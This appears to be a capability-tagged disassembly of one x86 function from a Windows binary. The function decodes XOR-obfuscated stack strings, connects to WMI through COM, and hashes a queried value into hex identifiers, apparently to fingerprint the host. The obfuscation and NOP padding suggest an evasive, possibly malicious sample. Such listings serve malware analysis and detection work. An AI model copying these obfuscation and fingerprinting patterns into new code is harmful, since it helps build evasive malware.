Function at 0x434480
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov edi, dword [ebp + 8]
mov eax, dword [0x445bac]
mov dword [esp + 0x14], 0x18d406e0
mov dword [esp + 0x18], 0x1ca81a90
mov dword [esp + 0x1c], 0x10ba1ea9
mov dword [esp + 0x20], 0x14d712ac
mov dword [esp + 0x24], 0xe8ae16a7
mov dword [esp + 0x28], 0xec4eea5f
mov dword [esp + 0x2c], 0xe0efee08
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ecx + 0x6d]
mov esi, 0x12
sub esi, ecx
and esi, 0x1a
and edx, 0xe5
or edx, esi
xor dl, byte [esp + ecx + 0x14]
xor dl, 0x1a
add dl, 0x98
mov byte [esp + ecx + 0x14], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 0x1c
jb 0x4344e0
mov ecx, esp
lea esi, [esp + 0x7c]
lea ebx, [esp + 0x14]
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x434534
mov dword [esp + 0x7c], 0x3a0043
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0xc], 0x3eb53404
mov dword [esp + 8], 0x1c2565b4
mov dword [esp + 4], 0x4dc00df7
mov dword [esp], 0xd35cac70
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x4c]
push eax
push 0x43c678
push 1
push 0
push 0x43c688
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x434947
mov dword [esp + 0x14], 0x7bb579aa
mov dword [esp + 0x18], 0x7faa7db3
mov dword [esp + 0x1c], 0x3c101dc
mov dword [esp + 0x20], 0x7cb05cd
mov dword [esp + 0x24], 0xb3809de
mov word [esp + 0x28], 0xd0c
mov eax, 0xb8
nop
nop
nop
nop
nop
lea ecx, [eax - 0x80]
mov edx, eax
and edx, 0xca
and ecx, 0x35
or ecx, edx
xor cl, byte [esp + eax - 0xa4]
add cl, 0x40
mov byte [esp + eax - 0xa4], cl
inc eax
cmp eax, 0xce
jne 0x4345c0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x80], edi
push edi
push eax
call dword [ecx + 0xc]
test eax, eax
mov edi, dword [ebp + 8]
js 0x434933
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x64]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x434929
mov dword [esp + 0x14], 0xb644b444
mov dword [esp + 0x18], 0xaaa9a84b
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x14]
lea esi, [eax - 0x2d71be15]
mov ebx, esi
xor ebx, edx
mov ecx, 0x2d71be14
sub ecx, eax
or ecx, ebx
not ecx
add ecx, ecx
sub ecx, esi
mov esi, ecx
xor esi, edx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, esi
add cl, 0xa8
mov byte [esp + eax + 0x14], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 8
jb 0x434660
lea ebx, [esp + 0x14]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x50], eax
mov dword [esp + 0x14], 0x7db97b89
mov dword [esp + 0x18], 0x61a57fb2
mov dword [esp + 0x1c], 0x659063a1
mov dword [esp + 0x20], 0x69426746
mov dword [esp + 0x24], 0x6daa6b4a
mov dword [esp + 0x28], 0x11df6f9c
mov dword [esp + 0x2c], 0x153413df
mov dword [esp + 0x30], 0x19f117e1
mov dword [esp + 0x34], 0x1dcf1bf4
mov dword [esp + 0x38], 0x1ff1fcc
mov dword [esp + 0x3c], 0x5cd03c0
mov dword [esp + 0x40], 0x9fb07c9
mov word [esp + 0x44], 0xb0a
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x2a
xor cl, byte [esp + eax + 0x14]
add cl, 0xb0
mov byte [esp + eax + 0x14], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x32
jb 0x434720
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x48]
mov ecx, dword [esi]
lea edx, [esp + 0x5c]
push edx
push 0
push 0x30
mov dword [esp + 0x6c], eax
push eax
push dword [esp + 0x60]
push esi
call dword [ecx + 0x50]
test eax, eax
js 0x434913
mov dword [esp + 0x54], 0
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
lea edx, [esp + 0x54]
lea esi, [esp + 0x58]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x434909
cmp eax, 1
je 0x434909
cmp dword [esp + 0x54], 0
je 0x434909
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x58]
mov dword [esp + 0x14], 0x23472173
mov dword [esp + 0x18], 0x274f2556
mov dword [esp + 0x1c], 0x2b462949
mov dword [esp + 0x20], 0x2f5b2d62
mov dword [esp + 0x24], 0x3350315d
mov dword [esp + 0x28], 0x37443551
mov word [esp + 0x2c], 0x3938
mov ecx, 0x20
mov edx, 0xdf
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0xc]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
mov byte [esp + ecx - 0xc], bl
inc ecx
dec edx
cmp ecx, 0x3a
jne 0x434800
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x70]
push esi
push 0
lea ebx, [esp + 0x24]
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4348f8
cmp word [esp + 0x68], 8
jne 0x4348f8
mov eax, dword [esp + 0x70]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x10], eax
je 0x43488d
add eax, 2
xor ebx, ebx
jmp 0x43486c
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43488f
cmp cx, 0x7f
jbe 0x434860
movzx edx, cx
cmp edx, 0x7ff
ja 0x434882
add ebx, 2
jmp 0x434861
cmp cx, 0xffff
je 0x434861
add ebx, 3
jmp 0x434861
xor ebx, ebx
lea esi, [ebx + 1]
push esi
call fcn.004082f0
add esp, 4
push dword [esp + 0x10]
push esi
mov dword [esp + 0x18], eax
push eax
call fcn.004092b0
add esp, 0xc
mov eax, 3
sub eax, ebx
cmp eax, 0xfffffffd
jae 0x4348be
mov eax, 0xfffffffc
add eax, ebx
shr eax, 2
cmp eax, 3
lea esi, [esp + 0x68]
jb 0x4348d1
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov ebx, dword [esp + 0x14]
push ebx
lea eax, [esp + 8]
push eax
call fcn.00408320
add esp, 0xc
push ebx
call fcn.00408300
add esp, 4
lea ebx, [esp + 0x14]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x50]
call esi
push dword [esp + 0x60]
call esi
lea esi, [esp + 0x7c]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x64]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x444ba4]
call fcn.004394c0
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
test eax, eax
je 0x434975
mov eax, dword [esp + 0x14]
mov dword [esp], eax
mov ecx, dword [esp]
imul eax, ecx, 0x1a5845
imul ecx, ecx, 0x34b08a
and ecx, 0xd7bd1426
xor eax, 0xebde8a13
add eax, ecx
mov dword [esp], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041b880
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4349b0
test esi, esi
je 0x4349ce
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408490
add esp, 0xc
lea eax, [edi + 8]
xor ecx, ecx
cmp dword [esp + 4], 0
setne cl
mov edx, dword [esp + ecx*4]
imul ecx, edx, 0x1a5845
imul edx, edx, 0x34b08a
and edx, 0xd7bd1426
xor ecx, 0xebde8a13
add ecx, edx
mov dword [esp + 4], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041b880
add esp, 0x10
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434a10
test esi, esi
je 0x434a2e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408490
add esp, 0xc
lea eax, [edi + 0x10]
xor ecx, ecx
cmp dword [esp + 8], 0
setne cl
mov edx, dword [esp + ecx*4 + 4]
imul ecx, edx, 0x1a5845
imul edx, edx, 0x34b08a
and edx, 0xd7bd1426
xor ecx, 0xebde8a13
add ecx, edx
mov dword [esp + 8], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041b880
add esp, 0x10
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434a70
test esi, esi
je 0x434a8e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408490
add esp, 0xc
add edi, 0x18
xor eax, eax
cmp dword [esp + 0xc], 0
setne al
mov ecx, dword [esp + eax*4 + 8]
imul eax, ecx, 0x1a5845
imul ecx, ecx, 0x34b08a
and ecx, 0xd7bd1426
xor eax, 0xebde8a13
add eax, ecx
mov dword [esp + 0xc], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041b880
add esp, 0x10
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434ad0
test esi, esi
je 0x434aee
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408490
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret